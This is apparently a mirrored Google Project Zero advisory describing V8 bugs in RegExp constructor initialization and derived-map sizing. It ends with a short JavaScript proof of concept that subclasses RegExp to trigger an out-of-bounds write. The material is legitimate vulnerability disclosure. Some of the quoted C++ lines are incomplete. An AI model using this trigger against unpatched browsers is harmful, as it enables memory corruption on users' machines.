Chrome V8 Genesis::InitializeGlobal Bugs

Type packetstorm
Reporter Google Security Research
Modified 2018-04-03T00:00:00


                                            `Chrome: V8: Bugs in Genesis::InitializeGlobal   
The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:  
// Builtin functions for RegExp.prototype.  
Handle<JSFunction> regexp_fun = InstallFunction(  
global, "RegExp", JS_REGEXP_TYPE,  
JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,  
JSRegExp::kInObjectFieldCount, factory->the_hole_value(),  
InstallWithIntrinsicDefaultProto(isolate, regexp_fun,  
Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);  
shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));  
I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.  
There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.  
This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "", to incorrectly compute the number of in-object properties.  
Here's a snippet of the method.  
(<a href="" title="" class="" rel="nofollow"></a>)  
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,  
Handle<JSFunction> constructor,  
Handle<JSReceiver> new_target) {  
// Fast case, is a subclass of constructor. The map is cacheable  
// (and may already have been cached). is guaranteed to  
// be a JSReceiver.  
if (new_target->IsJSFunction()) {  
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);  
// Create a new map with the size and number of in-object properties  
// suggested by |function|.  
// Link initial map and constructor function if the is actually a  
// subclass constructor.  
if (IsDerivedConstructor(function->shared()->kind())) {  
Handle<Object> prototype(function->instance_prototype(), isolate);  
InstanceType instance_type = constructor_initial_map->instance_type();  
int embedder_fields =  
int pre_allocated = constructor_initial_map->GetInObjectProperties() -  
int instance_size;  
int in_object_properties;  
CalculateInstanceSizeForDerivedClass(function, instance_type,  
embedder_fields, &instance_size,  
int unused_property_fields = in_object_properties - pre_allocated;  
Handle<Map> map =  
Map::CopyInitialMap(constructor_initial_map, instance_size,  
in_object_properties, unused_property_fields);  
return map;  
"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.  
Here's CalculateInstanceSizeForDerivedClass.  
void JSFunction::CalculateInstanceSizeForDerivedClass(  
Handle<JSFunction> function, InstanceType instance_type,  
int requested_embedder_fields, int* instance_size,  
int* in_object_properties) {  
Isolate* isolate = function->GetIsolate();  
int expected_nof_properties = 0;  
for (PrototypeIterator iter(isolate, function, kStartAtReceiver);  
!iter.IsAtEnd(); iter.Advance()) {  
Handle<JSReceiver> current =  
if (!current->IsJSFunction()) break;  
Handle<JSFunction> func(Handle<JSFunction>::cast(current));  
// The super constructor should be compiled for the number of expected  
// properties to be available.  
Handle<SharedFunctionInfo> shared(func->shared());  
if (shared->is_compiled() ||  
Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {  
expected_nof_properties += shared->expected_nof_properties();  
if (!IsDerivedConstructor(shared->kind())) {  
CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,  
expected_nof_properties, instance_size,  
It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".  
If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).  
So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.  
function gc() {  
for (let i = 0; i < 20; i++)  
new ArrayBuffer(0x2000000);  
class Derived extends RegExp {  
constructor(a) {  
const a = 1; // syntax error, Derived->expected_nof_properties() skipped  
let o = Reflect.construct(RegExp, [], Derived);  
o.lastIndex = 0x1234; // OOB write  
int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1  
constructor_initial_map->UnusedPropertyFields(); // 0  
int instance_size;  
int in_object_properties;  
CalculateInstanceSizeForDerivedClass(function, instance_type,  
embedder_fields, &instance_size,  
// in_object_properties == 0, pre_allocated == 1  
int unused_property_fields = in_object_properties - pre_allocated;  
Another bug?  
There's a comment saying "Fast case, is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part.  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
Found by: lokihardt